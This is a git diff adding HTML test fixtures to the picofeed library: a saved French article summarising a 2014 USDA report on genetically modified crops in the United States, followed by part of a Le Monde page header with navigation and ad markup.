+ <a href="spip.php?page=imprimer&amp;id_article=2280" rel="nofollow" target="_blank" style="margin-right:5px;">
+ <img src="squelettes/img/print.gif" alt="Imprimer" title="Imprimer cet article"></a>
+ <div class="g-plusone" data-size="medium" data-annotation="none"></div>
+ <a href="http://twitter.com/share" class="twitter-share-button" data-count="none" data-lang="fr">Tweeter</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
+ </div>
+
+ <div id="art_chapo" >
+ <h1>Un bilan des plantes génétiquement modifiées aux USA</h1>
+ <h2>Résumé d&#8217;un rapport américain</h2>
+ <p class="art_asd"></p>
+ <div style="clear:both;"></div>
+ </div>
+
+ <div class="texteencadre-spip spip">Nous publions ici, à titre d’information, <strong>un résumé du rapport du Service des études économiques </strong> (Economic Research Service)<strong> du ministère américain de l’agriculture </strong> (United States Department of Agriculture). Résumé rédigé par <strong>Louis-Marie Houdebine</strong>.
+<p>La culture des plantes génétiquement modifiées (PGM) a commencé aux USA en 1996. Et ce pays compte aujourd’hui, à lui seul, la moitié des PGM cultivées dans le monde. Un bilan économique de cette nouvelle technique de sélection génétique a été publié en février 2014. Il nous a semblé intéressant de porter à la connaissance ce document, afin d’aider nos lecteurs à se faire leur propre opinion sur un sujet controversé. En effet, si les OGM sont interdits à la culture en France (et dans plusieurs pays de l’Union Européenne), ils sont largement utilisés outre-Atlantique, et depuis près de deux décennies, ce qui permet une analyse <i>a posteriori</i>.</p>
+
+<p>Référence&nbsp;: &#8220;Genetically Engineered Crops in the United States&#8221;, Jorge Fernandez-Cornejo, Seth James Wechsler, Michael Livingston, and Lorraine Mitchell, Economic Research Report No. (ERR-162) 60 pp, February 2014. <a href="http://www.ers.usda.gov/publications/err-economic-research-report/err162.aspx#.Uz7yqvl_sg9" class='spip_url spip_out' rel='nofollow external'>http://www.ers.usda.gov/publication...</a></p>
+</div>
+<p>À eux seuls, le maïs, le soja et le coton génétiquement modifiés représentent environ la moitié des surfaces cultivées aux USA. Pour ces trois plantes, la proportion de PGM varie de 75 à 93%.</p>
+
+<h3 class="spip">Les aspects techniques</h3>
+
+<p>L’évolution du nombre d’essais en champs est un bon indice de l’activité passée et de celle qui se prépare. Entre 1996 et septembre 2013, les autorisations de culture expérimentales de PGM en champs ont été d’environ 25 000, réparties de la manière suivante&nbsp;:
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;la tolérance à des herbicides (TH) – 6772 essais&nbsp;;
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;la résistance à des insectes (RI) – 4809 essais&nbsp;;
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;l’amélioration des propriétés agronomiques des plantes (résistance à la sécheresse ou au sel, capacité à utiliser l’azote atmosphérique, augmentation des rendements, couleur du coton etc.) – 5190 essais&nbsp;;
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;l’amélioration des qualités nutritives (maîtrise de la maturation, amélioration du goût, supplémentation en protéines, en oligoéléments, en antioxydants, en vitamines, en acides gras, en amidon, en micronutriments, réduction de la teneur en gluten etc.) – 4896 essais&nbsp;;
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;la résistance à des virus, à des champignons, à des nématodes ou à des bactéries – 2616 essais.</p>
+
+<p>Les institutions qui effectuent le plus d’essais en champs (rapportés au nombre de modifications génétiques) sont Monsanto (6782), Pioneer/DuPont (1405), Syngenta (565) et l’USDA – ministère de l’agriculture (370). En septembre 2013, l’Animal and Plant Health Inspection Service (APHIS) avait reçu 145 demandes d’agrément pour autoriser la culture et la consommation de PGM.&nbsp;96 de ces demandes ont été approuvées&nbsp;: 30 pour des maïs, 15 pour des cotonniers, 11 pour des tomates, 12 pour des sojas, 8 pour des colza/canola, 5 pour des pommes de terre, 3 pour des betteraves sucrières, 2 pour des papayers, des riz, et des courges, 1 pour un alfalfa (luzerne), 1 prunier, 1 rosier, 1 tabac, 1 lin et 1 chicorée. 49 demandes n’ont pas été approuvées.</p>
+
+<h3 class="spip">Les aspects économiques</h3>
+
+<p>Les PGM tolérantes à des herbicides (HT) sont plus cultivées que les PGM résistantes à des insectes (RI) car les herbes indésirables sont généralement plus envahissantes que les différentes pestes. Les PGM RI protégées par des toxines de type Bt (provenant de la bactérie <i>Bacillus thurengiensis</i>) (maïs et cotonniers) donnent en moyenne de meilleurs rendements et apportent plus de bénéfices aux agriculteurs que les plantes conventionnelles. Ce fait reste vrai malgré l’augmentation de 50% du prix des semences depuis 2001. L’efficacité des PGM RI est plus importante les années où les attaques par des insectes sont plus menaçantes. Les augmentations de rendement sont en partie dues à l’amélioration génétique classique des variétés qui sont à l’origine des PGM.&nbsp;Une bonne gestion des plantes refuges non génétiquement modifiées a permis de ne pas laisser émerger d’insectes résistants aux toxines des PGM.&nbsp;</p>
+
+<p>Les PGM RI permettent de diminuer très notablement les épandages de pesticides (ainsi, par exemple, pour le maïs, on a divisé par 10 les quantités utilisées par unité de surface cultivée). Aux USA en particulier, il apparaît que l’utilisation de PGM RI protège non seulement les champs directement concernés mais aussi dans une certaine mesure les champs voisins ne contenant pas de PGM.&nbsp;Cette observation est en accord avec la diminution de certains insectes nuisibles dans les régions où des PGM RI sont cultivées de manière intensive.</p>
+
+<p>Les PGM TH ne permettent que des augmentations limitées des rendements et des revenus des agriculteurs. Le succès des PGM TH vient donc du fait qu’elles permettent de réduire la charge de travail des agriculteurs et de diminuer les effets toxiques de certains herbicides utilisés pour les plantes conventionnelles, le glyphosate étant particulièrement peu toxique, biodégradable et inactif dans le sol. Un usage trop intensif du principal herbicide utilisé pour les PGM TH, le glyphosate, a fait émerger jusqu’à 14 plantes indésirables résistantes à cet herbicide dans certaines régions des USA. Ces résistances auraient pu être évitées en respectant les règles de base de l’agriculture, comme la rotation des cultures. Certains agriculteurs sont donc revenus à la situation <i>ante</i> PGM TH. Cette mésaventure va contribuer à baisser les revenus de ces agriculteurs. Des parades sont progressivement adoptées&nbsp;: rotation des cultures, labourage, utilisation d’herbicides autres que le glyphosate, utilisation de PGM TH tolérantes à plusieurs herbicides totaux, notamment le glufosinate, le dicamba et le 2,4-D n’agissant pas via les mêmes mécanismes que le glyphosate.</p>
+
+<p>L’agriculture sans labour ou avec des labours peu profonds permet de laisser sur le sol les sous-produits végétaux des récoltes formant des paillis, ce qui permet d’apporter de l’humus dans les sols et de limiter l’érosion due au ruissellement ou au vent. Il est possible de laisser les plantes sauvages pousser dans les champs après les récoltes et de les détruire à l’aide d’herbicides totaux comme le glyphosate, peu de temps avant les plantations ou en post levé. Il est de même possible de semer des graines de plantes sauvages après les récoltes pour augmenter l’apport au sol de matières organiques. Les PGM tolérantes au glyphosate sont bien adaptées à de telles pratiques.</p>
+
+<h3 class="spip">Les tendances actuelles</h3>
+
+<p>Les PGM de première génération (TH et RI) n’ont pas pour but de modifier le métabolisme des plantes, mais seulement de leur conférer des propriétés agronomiques favorables. Des améliorations sont encore attendues dans ce domaine. Les PGM dans lesquelles plusieurs transgènes ont été empilés sont de plus en plus répandues. Il peut s’agir de PGM à la fois TH et RI obtenues par croisement de PGM TH et de PGM RI. Certaines PGM ont actuellement jusqu’à 8 transgènes et plus. Cette approche permet de cumuler plusieurs propriétés de PGM de première génération. Les PGM avec des transgènes empilés sont généralement bien rentables pour les agriculteurs. Il est également possible de croiser des PGM de première et deuxième génération pour cumuler les effets des transgènes.</p>
+
+<p>Les PGM de deuxième génération destinées à améliorer les qualités nutritives des plantes sont en plein développement. Ce fait apparaît nettement lorsqu’on compare le nombre actuel des différents essais en champs.</p>
+
+<p>L’acceptabilité des PGM est en moyenne plus élevée dans les pays pauvres que dans les pays riches qui ne souffrent pas de déficit alimentaire. Une partie des consommateurs des pays riches est prête à payer plus cher les produits issus de plantes non GM.&nbsp;Les PGM de première génération sont essentiellement destinées à l’alimentation animale. Les consommateurs, même aux USA, ont jusqu’à maintenant bénéficié essentiellement de produits dérivés de PGM.&nbsp;Cette situation va logiquement changer progressivement avec l’arrivée des PGM de deuxième génération. Il se pourrait alors que des consommateurs acceptent un surcout pour les PGM de deuxième génération qui sont favorables à leur santé. Une tendance aux USA est la cohabitation des différents modes de culture, propre à répondre aux exigences de l’ensemble des consommateurs.</p>
+
+<p>L’émergence plus rapide que prévue de plantes sauvages tolérantes au glyphosate a révélé le fait que l’usage de PGM n’exonère pas les agriculteurs de se soumettre aux bonnes pratiques de l’agriculture. La mise sur le marché de PGM tolérantes à plusieurs herbicides agissant de manière différente est une réalité. Cette pratique devrait logiquement s’amplifier.</p>
+
+<p>L’obtention d’agréments pour la culture et la consommation de PGM de première génération est soumise aux USA à des règlementations moins contraignantes que dans la plupart des autres pays. Les PGM de deuxième génération sont pour la plupart métaboliquement modifiées. Des tests de sécurité alimentaire plus contraignants devront être appliqués à ce type de PGM.&nbsp;</p>
+
+<p>Une troisième génération de PGM est déjà une réalité et elle devrait prendre progressivement de l’importance. Ces PGM ne sont pas destinées à l’alimentation. Elles sont et seront productrices de biocarburants, de molécules d’intérêt pharmaceutique, d’huiles industrielles, de fibres, de plastiques etc.</p>
+
+
+
+
+
+ </div>
+
+<div id="art_menu"><div style="border:1px solid #CFCFCF;">
+
+
+ <div id="art_stats">Mis en ligne le 8 avril 2014<br>1116 visites</div>
+
+
+
+
+
+
+
+ <div id="art_themes" class="menubox">
+ <div class="cadre_top bleuclair_bcg"><img src="squelettes/img/titres/themes.png" alt="L'Auteur"></div>
+
+ <p class="center"><a class="bold" href="spip.php?mot165">OGM</a></p>
+ <ul>
+
+ <li><a href="spip.php?article2280" class="spip_in">Un bilan des plantes génétiquement modifiées aux USA</a></li>
+
+ <li><a href="spip.php?article991" class="spip_in">Les OGM&nbsp;: Menaces ou espoirs, données scientifiques</a></li>
+
+ <li><a href="spip.php?article2276" class="spip_in">Animal nutrition with transgenic plants</a></li>
+
+ <li><a href="spip.php?article784" class="spip_in">Que sont les OGM animaux&nbsp;?</a></li>
+
+ <li><a href="spip.php?article2275" class="spip_in">OGM, la question politique</a></li>
+
+ </ul>
+
+ </div>
+
+
+
+
+
+
+ <div id="art_abo" class="menubox">
+ <div class="cadre_top bleu_bcg"><img src="squelettes/img/titres/abonnezvous.png" alt="Abonnez vous"></div>
+
+ <p class="justify">Résultat de l'activité de bénévoles, l’AFIS ne trouve ses ressources que dans les cotisations de ses adhérents et la vente de sa revue.</p>
+ <p class="justify">En vous abonnant, vous nous soutenez dans notre action tout en étant assuré de recevoir en premier notre revue trimestrielle dans votre boite aux lettres.</p>
+ <p class="center" style="font-weight:bold;"><a href="boutique.html">S'ABONNER</a></p>
+
+ </div>
+
+
+ </div></div>
+ <div style="clear:both;" class="art_fin"></div>
+</div>
+
+<!-- Footer -->
+
+ <div id="taglist" class="box" >
+ <p>Explorer par thème</p>
+ <ul>
+
+ <li><a href="spip.php?mot227">autisme</a></li>
+
+ <li><a href="spip.php?mot76">acupuncture</a></li>
+
+ <li><a href="spip.php?mot198">alimentation</a></li>
+
+ <li><a href="spip.php?mot30">astrologie</a></li>
+
+ <li><a href="spip.php?mot43">astronomie</a></li>
+
+ <li><a href="spip.php?mot197">biotechnologies</a></li>
+
+ <li><a href="spip.php?mot187">climat</a></li>
+
+ <li><a href="spip.php?mot48">cosmologie</a></li>
+
+ <li><a href="spip.php?mot75">créationnisme</a></li>
+
+ <li><a href="spip.php?mot145">croyance</a></li>
+
+ <li><a href="spip.php?mot23">désinformation</a></li>
+
+ <li><a href="spip.php?mot22">écologie</a></li>
+
+ <li><a href="spip.php?mot34">économie</a></li>
+
+ <li><a href="spip.php?mot40">éducation</a></li>
+
+ <li><a href="spip.php?mot59">éthique</a></li>
+
+ <li><a href="spip.php?mot189">évolution</a></li>
+
+ <li><a href="spip.php?mot208">expertise</a></li>
+
+ <li><a href="spip.php?mot31">graphologie</a></li>
+
+ <li><a href="spip.php?mot66">histoire</a></li>
+
+ <li><a href="spip.php?mot11">homéopathie</a></li>
+
+ <li><a href="spip.php?mot141">laïcité</a></li>
+
+ <li><a href="spip.php?mot52">littérature</a></li>
+
+ <li><a href="spip.php?mot69">mathématiques</a></li>
+
+ <li><a href="spip.php?mot9">médecine</a></li>
+
+ <li><a href="spip.php?mot27">mythes et légendes</a></li>
+
+ <li><a href="spip.php?mot33">neurologie</a></li>
+
+ <li><a href="spip.php?mot64">nucléaire</a></li>
+
+ <li><a href="spip.php?mot61">numérologie</a></li>
+
+ <li><a href="spip.php?mot165">OGM</a></li>
+
+ <li><a href="spip.php?mot201">ondes</a></li>
+
+ <li><a href="spip.php?mot13">ostéopathie</a></li>
+
+ <li><a href="spip.php?mot65">ovnis</a></li>
+
+ <li><a href="spip.php?mot42">paranormal</a></li>
+
+ <li><a href="spip.php?mot55">parapsychologie</a></li>
+
+ <li><a href="spip.php?mot49">philosophie</a></li>
+
+ <li><a href="spip.php?mot16">placebo</a></li>
+
+ <li><a href="spip.php?mot45">pseudoscience</a></li>
+
+ <li><a href="spip.php?mot7">psychanalyse</a></li>
+
+ <li><a href="spip.php?mot32">psychiatrie</a></li>
+
+ <li><a href="spip.php?mot8">psychologie</a></li>
+
+ <li><a href="spip.php?mot46">rationalisme</a></li>
+
+ <li><a href="spip.php?mot39">religion</a></li>
+
+ <li><a href="spip.php?mot6">santé</a></li>
+
+ <li><a href="spip.php?mot38">science</a></li>
+
+ <li><a href="spip.php?mot68">SVT</a></li>
+
+ <li><a href="spip.php?mot67">physique</a></li>
+
+ <li><a href="spip.php?mot50">sectes</a></li>
+
+ <li><a href="spip.php?mot57">sociologie</a></li>
+
+ <li><a href="spip.php?mot62">spiritisme</a></li>
+
+ <li><a href="spip.php?mot179">TCC</a></li>
+
+ <li><a href="spip.php?mot14">vaccination</a></li>
+
+ <li><a href="spip.php?mot60">voyance</a></li>
+
+ <li><a href="spip.php?mot47">zététique</a></li>
+
+ </ul>
+ <br>
+ </div>
+
+ <div id="footer">
+ <span class="float_left italic">Développé sous SPIP, logiciel libre </span>
+ <span class="float_right">
+ <a href="plan.html">Plan du site</a>
+ <a href="spip.php?rubrique46">Archives</a>
+ <a href="spip.php?rubrique20">Liens</a>
+ <a href="spip.php?article24">Contact</a>
+ <a href="spip.php?article1096">Crédits</a>
+ </span>
+ </div>
+
+</div>
+
+<p id="w3c">
+ <a href="http://validator.w3.org/check?uri=referer">
+ <img src="squelettes/img/valid-html401.png" alt="Valid HTML 4.01 Transitional" height="31" width="88">
+ </a>
+
+ <a href="http://jigsaw.w3.org/css-validator/check/referer">
+ <img style="border:0;width:88px;height:31px" src="squelettes/img/vcss-blue.png" alt="CSS Valide !">
+ </a>
+</p>
+
+<script type="text/javascript">
+ var _gaq = _gaq || [];
+ _gaq.push(['_setAccount', 'UA-1826589-10']);
+ _gaq.push(['_trackPageview']);
+
+ (function() {
+ var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
+ ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
+ var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
+ })();
+</script>
+
+</body>
+
+</html>
+
diff --git a/vendor/fguillot/picofeed/tests/fixtures/html_head_stripped_page.html b/vendor/fguillot/picofeed/tests/fixtures/html_head_stripped_page.html
new file mode 100644
index 000000000..57f7451aa
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/html_head_stripped_page.html
@@ -0,0 +1,804 @@
+<!doctype html>
+<!--[if lt IE 9]><html class="ie"><![endif]-->
+<!--[if gte IE 9]><!-->
+<html lang="fr">
+<!--<![endif]-->
+
+
+
+<body class="international">
+
+ <header id="header">
+
+ <div id="alerte_tracking" class="bandeau_info_importante bord_gris_moyen" style="display:none;height:0;">
+ En poursuivant votre navigation sur ce site, vous acceptez l’utilisation de cookies pour vous proposer des contenus et services adaptés à vos centres d’intérêts.
+ <a href="http://www.lemonde.fr/service/conditions_generales_de_vente.html#faq_content_7320">En savoir plus et gérer ces paramètres</a>.
+ <span class="croix_grise mgl8" title="Fermer cet avertissement"></span>
+</div>
+<script>require(["lmd/module/user/alerte_tracking"]);</script>
+ <div id="surheader">
+ <div class="conteneur_haut">
+ <p class="gauche">
+ <a href="/" class="actif">Le Monde</a>
+ <span data-target="_blank" data-href="aHR0cDovL3d3dy50ZWxlcmFtYS5mci8=" class="obf">Télérama</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5tb25kZS1kaXBsb21hdGlxdWUuZnIv" class="obf">Le Monde diplomatique</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5odWZmaW5ndG9ucG9zdC5mci8=" class="obf">Le Huffington Post</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5jb3VycmllcmludGVybmF0aW9uYWwuY29tLw==" class="obf">Courrier international</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5sYXZpZS5mci8=" class="obf">La Vie</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5hdWphcmRpbi5pbmZvLw==" class="obf">au Jardin</span> </p>
+ <div class="droit">
+<span data-href="L2Fiby8/Y2xlZj1CVE5fQUJPR09MRDE0" class="bt_abo obf" onclick="return xt_click(this, 'C', lmd.context.page.xiti.xtn2, 'entrees_tunnel_abo::header','N');" title="Abonnez-vous au Monde à partir de 1 ¬">S'abonner au Monde à
+ partir de 1 €</span> <ul class="services droite">
+ <li>
+<span data-href="L3NlcnZpY2VzLw==" class="obf">Services Le Monde â–¾</span> <div>
+ <ul>
+ <li><strong>Boutique Le Monde</strong></li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvI3h0b3I9QUQtNDY=" class="obf">Accueil</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvZHZkLTEuaHRtbCN4dG9yPUFELTk4" class="obf">DVD</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvY2QuaHRtbCN4dG9yPUFELTk5" class="obf">CD</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvbGl2cmVzLmh0bWwjeHRvcj1BRC0xMDA=" class="obf">Livres</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvaG9ycy1zZXJpZXMuaHRtbCN4dG9yPUFELTEwMQ==" class="obf">Hors-séries</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvdW5lcy1kdS1tb25kZS5odG1sI3h0b3I9QUQtMTQ5" class="obf">Unes du Monde</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvc2VsZWN0aW9uLWR1LW1vaXMuaHRtbCN4dG9yPUFELTEwMw==" class="obf">Sélection du mois</span> </li>
+ </ul>
+ <ul>
+ <li><strong>Partenaires Le Monde</strong></li>
+ <li>
+<span data-target="" data-href="aHR0cDovL3ZvaXR1cmUtb2NjYXNpb24ubGVtb25kZS5mcg==" class="obf">Annonces auto</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL2ltbW9iaWxpZXIubGVtb25kZS5mci8=" class="obf">Annonces immo</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL29mZnJlcy5vZmZyZXMtZW1wbG9pLm1vbnN0ZXIuZnIvP2NoPUxFTU9OREU=" class="obf">Annonces emploi</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL2FuZ2xhaXMubGVtb25kZS5mcg==" class="obf">Cours d'anglais</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL3Nob3BwaW5nLmxlbW9uZGUuZnI=" class="obf">Shopping</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL2NvbXBhcmF0ZXVycy1iYW5xdWVzLmxlbW9uZGUuZnIv" class="obf">Comparateur de banques</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL2NyZWRpdC5sZW1vbmRlLmZyLw==" class="obf">Comparateur de crédit</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL3ByaXgtaW1tb2JpbGllci5sZW1vbmRlLmZyL3ByaXgtaW1tb2JpbGllci8=" class="obf">Prix de l'immobilier</span> </li>
+ </ul>
+ </div>
+ </li>
+ </ul>
+ </div>
+ </div>
+ </div>
+
+ <div id="header_utilisateur">
+ <div class="conteneur_haut clearfix">
+ <a class="logo_lm95x16" href="/">Le Monde.fr</a>
+ <form name="recherche" action="/recherche/" method="get" class="recherche">
+ <p>
+ <label for="recherche_globale" class="cache">Rechercher&nbsp;:</label>
+ <input type="search" name="keywords" id="recherche_globale"
+placeholder="Rechercher dans nos articles" >
+ <input type="hidden" name="qt" value="recherche_globale" />
+ <input type="submit" value="rechercher" class="loupe">
+ </p>
+ </form>
+ <div class="sociaux">
+ <span>Suivez-nous</span>
+
+ <div id="header_facebook" class="fb20x20 facebook lien_social_header">
+ Facebook
+ <div class="conteneur_popinbox">
+ <div class="popinbox">
+ <div id="header_facebook_contenu" data-href="http://www.facebook.com/lemonde.fr" data-width="292"
+ data-show-faces="true" data-stream="false" data-header="false"
+ data-border-color="#D2D6DB"></div>
+ </div>
+ </div>
+ </div>
+ <div id="header_twitter" class="tw20x20 twitter lien_social_header">
+ Twitter
+ <div class="conteneur_popinbox">
+ <div class="popinbox">
+ <div id="header_twitter_contenu">
+ <span class="block txt4">Suivre le Monde sur Twitter</span>
+
+ <div class="liste_img_lien">
+<span data-target="_blank" data-href="aHR0cDovL3R3aXR0ZXIuY29tL2xlbW9uZGVmcg==" class="block obf">
+ <img data-n-src="//s1.lemde.fr/medias/web/1.2.652/img/pictos/twitter_lemonde.jpg" alt="Avatar lemonde.fr" width="48" height="48" class="radius5"></span> <span data-target="_blank" data-href="aHR0cDovL3R3aXR0ZXIuY29tL2xlbW9uZGVmcg==" class="block obf">@lemondefr</span> <a href="http://twitter.com/lemondefr" class="twitter-follow-button" data-show-count="true"
+ data-lang="fr">Suivre @lemondefr</a>
+ </div>
+ </div>
+ </div>
+ </div>
+ </div>
+<span data-target="_blank" data-href="aHR0cDovL3BsdXMuZ29vZ2xlLmNvbS8xMDk3NTU4MzQwMzgwNTE0NjA2Nzg=" class="google20x20 obf" title="Suivez LeMonde.fr sur Google+">
+ Google+
+ </span> </div>
+
+ <a class="nl js_trigger_login_register" data-route="newsletters" data-xtclick="tunnel_inscription_2014::lien_header::recevez_nos_newsletters" href="https://wwws.lemonde.fr/account/?route=newsletters">Recevez nos newsletters<span>&nbsp;</span></a>
+
+<span data-href="L2VtcGxvaS8=" class="lien_promo obf" onclick="return xt_click(this, 'N', lmd.context.page.xiti.xtn2, 'Lien_emploi_header' ,'N');">Emploi</span>
+ <p class="meteo js_meteo" style="display:none">
+<span data-href="L3ZvdHJlX2NvbXB0ZS8jbWV0ZW8=" class="ville-meteo obf" title="Choisissez d'afficher la météo de vos villes fétiches">Affichez ici la météo de votre ville</span> </p>
+
+ <div class="js_identifiant">
+ <a class="btn identifier js_trigger_login_register" data-route="connexion" id="btn_identification" data-xtclick="tunnel_inscription_2014::lien_header::connexion" href="https://wwws.lemonde.fr/account/?route=connexion">Connexion</a>
+ <a class="txt2 gras adroite js_trigger_login_register" data-route="newsletters" id="btn_inscription" data-xtclick="tunnel_inscription_2014::lien_header::inscrivez_vous" href="https://wwws.lemonde.fr/account/?route=newsletters">Inscrivez-vous</a>
+ </div>
+
+ </div>
+
+ </div>
+</header>
+
+ <div id="body-publicite">
+ <script>
+require(["lmd/core/auth", "lmd/ui/header/header"], function(a,b){a.loadUser().done(function(){b.init();})});
+require(["lmd/module/acces-non-abonne"],function(a){a.init();});
+</script>
+ <div class="position_pub habillage" data-adformat="habillage" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21486">
+ <script>
+ //sas_manager.render(21486);
+ ADVERT_AD(['50270/361621', 21486, '', 'habillage']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21486/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21486/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+
+<div class="position_pub top banniere" data-adformat="top" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21482">
+ <script>
+ //sas_manager.render(21482);
+ ADVERT_AD(['50270/361621', 21482, '', 'top']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21482/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21482/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <nav id="nav" class=" international ">
+ <ul>
+ <li class="accueil">
+ <span data-href="Lw==" onclick="Une" class="obf"><i class="maison">Accueil</i></span> </li>
+ <li class="international actif">
+ <span data-href="L2ludGVybmF0aW9uYWwv" class="obf">International</span> </li>
+ <li class="politique">
+ <span data-href="L3BvbGl0aXF1ZS8=" class="obf">Politique</span> </li>
+ <li class="societe">
+ <span data-href="L3NvY2lldGUv" class="obf">Société</span> </li>
+ <li class="economie">
+ <span data-href="L2Vjb25vbWllLw==" class="obf">Éco</span> </li>
+ <li class="culture">
+ <span data-href="L2N1bHR1cmUv" class="obf">Culture</span> </li>
+ <li class="idees">
+ <span data-href="L2lkZWVzLw==" class="obf">Idées</span> </li>
+ <li class="planete">
+ <span data-href="L3BsYW5ldGUv" class="obf">Planète</span> </li>
+ <li class="sport">
+ <span data-href="L3Nwb3J0Lw==" class="obf">Sport</span> </li>
+ <li class="sciences">
+ <span data-href="L3NjaWVuY2VzLw==" class="obf">Sciences</span> </li>
+ <li class="techno">
+ <span data-href="L3RlY2hub2xvZ2llcy8=" class="obf">Techno</span> </li>
+ <li class="style">
+ <span data-href="L3N0eWxlLw==" class="obf">Style</span> </li>
+ <li class="vous">
+ <span data-href="L3ZvdXMv" class="obf">Vous</span> </li>
+ <li class="education">
+ <span data-href="L2VkdWNhdGlvbi8=" class="obf">Éducation</span> </li>
+ <li class="abonnes">
+ <span data-href="L3RlYXNlci8/Y2xlZj1CQVJOQVYxNA==" onclick="return xt_click(this, 'C', lmd.context.page.xiti.xtn2, 'entrees_tunnel_abo::bar_nav','N');" class="obf">Édition Abonnés</span> </li>
+ </ul>
+</nav>
+
+ <div class="ombrelle ombrelle_europe">
+ <div class="tt_rubrique_ombrelle"><span class="m_titre"></span><span data-href="L2V1cm9wZS8=" class="couleur_rubrique obf">Europe</span></div>
+ <span class="widget">
+ <div id="widget_container" data-uri="/ajah/5m/lemonde/web/Controller_Module_Widget_PromoEdito/actionAfficher/WzM/yMT/Rd/EMPTY/?key=3d3358ad6f75676d72226effb52b74b80d16d534">
+ </div>
+</span>
+</div>
+
+ <div id="ariane-context-3214">
+ <div class="clearall" id="ariane_az">
+ <nav id="nav_ariane" class="international">
+ <ul>
+ <li class="ariane z2">
+ <a href="/international/">International</a>
+ </li>
+ <li class="ariane z1 actif">
+ <a href="/europe/">Europe</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/europeennes-2014/">Europ&eacute;ennes 2014</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/allemagne/">Allemagne</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/belgique/">Belgique</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/espagne/">Espagne</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/grece/">Gr&egrave;ce</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/italie/">Italie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/royaume-uni/">Royaume-Uni</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/union-europeenne/">Union europ&eacute;enne</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/crise-de-l-euro/">Crise de l'euro</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/ukraine/">Ukraine</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/russie/">Russie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/albanie/">Albanie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/bielorussie/">Bi&eacute;lorussie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/bosnie-herzegovine/">Bosnie-Herz&eacute;govine</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/cei/">CEI</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/georgie/">G&eacute;orgie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/moldavie/">Moldavie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/monaco/">Monaco</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/montenegro/">Mont&eacute;n&eacute;gro</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/norvege/">Norv&egrave;ge</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/otan/">OTAN</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/serbie/">Serbie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/suisse/">Suisse</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/tchetchenie/">Tch&eacute;tch&eacute;nie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/turquie/">Turquie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/vatican/">Vatican</a>
+ </li>
+ </ul>
+ <div class="az" style="display:none;">
+ <span class="bt_ouvrir">&nbsp;</span>
+ </div>
+ </nav>
+ <div class="suite_entrees">
+ <p class="entrees">
+ </p>
+ </div>
+
+
+ </div>
+</div>
+<script>
